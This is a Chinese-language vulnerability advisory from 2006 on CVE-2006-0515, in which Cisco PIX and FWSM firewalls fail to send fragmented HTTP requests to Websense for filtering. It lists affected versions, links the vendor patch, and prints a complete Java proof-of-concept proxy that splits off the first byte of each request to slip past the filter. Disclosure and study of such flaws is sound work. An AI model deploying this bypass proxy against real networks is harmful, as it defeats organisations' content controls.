首页 -> 安全研究

安全研究

安全漏洞
多个Cisco防火墙产品WebSense内容过滤绕过漏洞

发布日期:2006-05-08
更新日期:2006-05-08

受影响系统:
Cisco PIX Firewall < 7.0.4.12
Cisco PIX Firewall < 6.3.5(112)
Cisco Firewall Services Module 3.x
Cisco Firewall Services Module 2.3.x
Websense Websense 5.5.2
不受影响系统:
Cisco PIX Firewall 7.0.4.12
Cisco PIX Firewall 6.3.5(112)
Cisco Firewall Services Module 3.1(1.7)
Cisco Firewall Services Module 2.3(4)
描述:
BUGTRAQ  ID: 17883
CVE(CAN) ID: CVE-2006-0515

Cisco PIX是非常流行的网络防火墙,FWSM是Cisco设备上的防火墙服务模块。

Cisco PIX和其他一些Cisco过滤设备在同Websense Enterprise集成共同处理拆分报文的方式存在漏洞,攻击者可以利用此漏洞绕过Websense的内容检查过滤。

对于每个HTTP请求,Cisco PIX或其他Cisco设备都要将每个报文转发给Websense以判断是否应该允许该请求。但是,如果将HTTP请求拆分为两个或多个报文的话,就可能绕过过滤机制。此外,Websense没有记录使用上述碎片方式的请求,也就是没有将请求发送给Websense进行策略检查。利用这个漏洞的最简单的方式是拆分出HTTP请求的第一个字符,其他数据使用单个TCP报文(比如为每个报文设置PSH标签)。

<*来源:George D. Gal (ggal@vsecurity.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114711749815377&w=2
        http://marc.theaimsgroup.com/?l=bugtraq&m=114712496404926&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// Copyright (C) 2005-2006 Virtual Security Research, LLC. - All rights reserved

// Disclaimer: Use this tool at your own risk. The author of this utility
// nor Virtual Security Research, LLC. will assume any liability for damage
// caused by running this code. This utility is provided for educational
// purposes only.

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import java.awt.BorderLayout;

class WebsenseBypassProxyConnection implements Runnable {
    Socket csock;
    Socket ssock;
    static int count = 0;
    WebsenseBypassProxy wbp;
    public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy parent) {
    this.csock = csock;
    this.wbp = parent;
    }
    private StringBuffer GetHeader(InputStream istream) throws IOException {
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    int i;
    do {
        i = istream.read();
        if (i == -1) {
        if(out.size() > 0) {
            String s = out.toString();
            if(s.endsWith("\r\n"))
            return (new StringBuffer(out.toString() + "\r\n"));
            else if (s.endsWith("\n"))
            return (new StringBuffer(out.toString() + "\n"));
        }
        throw (new IOException());
        }
        out.write((byte) i);
    } while ((!out.toString().endsWith("\r\n\r\n")) &&
         (!out.toString().endsWith("\n\n")));
    return (new StringBuffer(out.toString()));
    }
    private HashMap GetHeaderParam(StringBuffer header) {
    HashMap h = new HashMap();
    int i=0;
    try {
        if ((i=header.toString().indexOf("\n")) > 0) {
        StringTokenizer stok =
            new StringTokenizer(header.toString().substring(i),
                    ":\r\n", true);
        try {
            while(stok.hasMoreTokens()) {
            // Get name value pair
            String tok = stok.nextToken(":").trim().toLowerCase();
            stok.nextToken();
            String tokval = stok.nextToken("\r\n").trim();
            h.put(tok, tokval);
            //System.out.println("n, v: "+tok +", "+tokval);
            }
        } catch(NoSuchElementException e) {
        }
        }
    } catch (Exception e) {
    }
    return(h);
    }
    private StringBuffer GetReqBody(InputStream istream) throws IOException {
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    int i;
    while (!(out.toString().endsWith("\r\n\r\n") ||
         out.toString().endsWith("\n\n"))) {
        
        i = istream.read();
        if (i== -1) {
        if(out.size() > 0) {
            String s = out.toString();
            if(s.endsWith("\r\n"))
            return (new StringBuffer(out.toString() + "\r\n"));
            else if (s.endsWith("\n"))
            return (new StringBuffer(out.toString() + "\n"));
        }
        throw (new IOException());
        }
        out.write((byte) i);
    }
    return (new StringBuffer(out.toString()));
    }
    public void run() {
    Socket ssock = null;
    InputStream clientIn = null;
    BufferedOutputStream clientOut = null;
    InputStream serverIn = null;
    BufferedOutputStream serverOut = null;
    int i=0;
    int ch=-1,r0=-1,r1=-1;
    try {
        clientIn = csock.getInputStream();
        clientOut = new BufferedOutputStream(csock.getOutputStream());
        StringBuffer buf = GetHeader(clientIn);
        int idx = buf.indexOf("Proxy-Connection:");
        int eol = buf.indexOf("\r\n", idx+18);
        //System.out.println("Idx: "+idx+" ,eol: "+eol);
        if ((idx > 0) && (eol > 0)) {
        buf = buf.replace(idx, eol, "Connection: close");
        }
        // And we should just make our lives easy and change keep-alives
        // to close.
        idx = -1;
        eol = -1;
        
        idx = buf.indexOf("Keep-Alive:");
        eol = buf.indexOf("\r\n",idx+11);
        
        //System.out.println("Idx: "+idx+" ,eol: "+eol);
        if ((idx > 0) && (eol > 0)) {
        buf = buf.replace(idx, eol, "Keep-Alive: close");
        }

        HashMap h = GetHeaderParam(buf);
        StringTokenizer st = new StringTokenizer(buf.toString());
        String reqtype = st.nextToken().toUpperCase();
        URL req = new URL(st.nextToken());
        String remotehost = req.getHost();
        int remoteport = req.getPort();
        if (remoteport == -1) {
        remoteport = 80;
        }
        
        // change the target to remove the host and protocol
        idx = -1;
        int end = -1;
    
        idx = buf.indexOf(reqtype + " "+ req.toString());
        end = idx + (reqtype+" "+req.toString()).length();
    
        //System.out.println("Request and URL Idx: "+idx+" , end: "+end);
        if ((idx >= 0) && (end > 0)) {
        buf = buf.replace(idx, end, reqtype+" "+
                  req.getPath().toString());
        }
        wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n");
        //System.out.println(">> "+reqtype+" "+req.getPath().toString());
        ssock = new Socket(remotehost,remoteport);
        //StringBuffer buf2 = GetReqBody(clientIn);
    
        StringReader sr = new StringReader(buf.toString());

        serverIn = ssock.getInputStream();
        serverOut = new BufferedOutputStream(ssock.getOutputStream());
        while ((ch = sr.read()) != -1) {
        serverOut.write(ch);
        if (i == 0) {
            // Flush out the first byte
            serverOut.flush();
        }
        i++;
        }
        serverOut.flush();
        while ((ch = serverIn.read()) != -1) {
        clientOut.write(ch);
        }
        wbp.displayMessage(">>XX>> Server stream closed\n");
        //System.out.println(">>XX>> Server stream closed");
        clientOut.flush();
        // just added
        csock.shutdownOutput();
        ssock.close();
        csock.close();
        ssock.close();
        csock.close();
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    }
}

public class WebsenseBypassProxy extends JFrame {
    private Object lock = new Object();
    private JTextArea displayArea;

    public WebsenseBypassProxy() {
    super("Websense Filter Bypass Proxy 1.0");
    displayArea = new JTextArea();
    add(new JScrollPane(displayArea), BorderLayout.CENTER);
    setSize(400, 250);
    setVisible(true);
    displayArea.setEditable(false);
    }

    void start (int lport) {
    WebsenseBypassProxyListener wbp=new WebsenseBypassProxyListener(this);
    wbp.lport = lport;
    Thread listener = new Thread(wbp);
    listener.start();
    displayMessage("Starting proxy listener on port: "+lport+"\n");
    //System.out.println("Starting proxy listener on port: "+lport);
    }
    void shutdown() {
        synchronized(lock) {
    }
    }
    public void displayMessage( final String messageToDisplay ) {
      SwingUtilities.invokeLater(
         new Runnable() {
            public void run()  {
               displayArea.append( messageToDisplay );
            }
         }  
      );
    }
    public void run(int lport) {
    ServerSocket lsock;
    try {
        lsock = new ServerSocket(lport);
        for (;;) {
        try {
            Socket s;
            s = lsock.accept();
            WebsenseBypassProxyConnection wbpc =
            new WebsenseBypassProxyConnection(s, this);
            Thread t = new Thread(wbpc);
            t.start();
        } catch (IOException e) {
            System.out.print(e.toString());
            return;
        }
        }
    } catch (Exception e) {
        System.out.print(e.toString());
    }
    
    }
    public static void main(String[] argv) {
    if (argv.length != 1) {
        System.err.println(
               "Usage:\n\t java WebsenseBypassProxy <portnum>\n");
    } else {
        try {
        int localport = Integer.parseInt(argv[0]);
        WebsenseBypassProxy wbp = new WebsenseBypassProxy();
        wbp.start(localport);
        } catch (Exception e) {
        e.printStackTrace(System.err);
        }
    }
    }
}

class WebsenseBypassProxyListener implements Runnable {
    WebsenseBypassProxy p;
    public int lport;
    public WebsenseBypassProxyListener(WebsenseBypassProxy p) {
    this.p = p;
    }
    public void run() {
    p.run(lport);
    }
}

建议:
厂商补丁:

Cisco
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.cisco.com/warp/public/707/cisco-sr-20060508-pix.shtml

浏览次数:4623
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障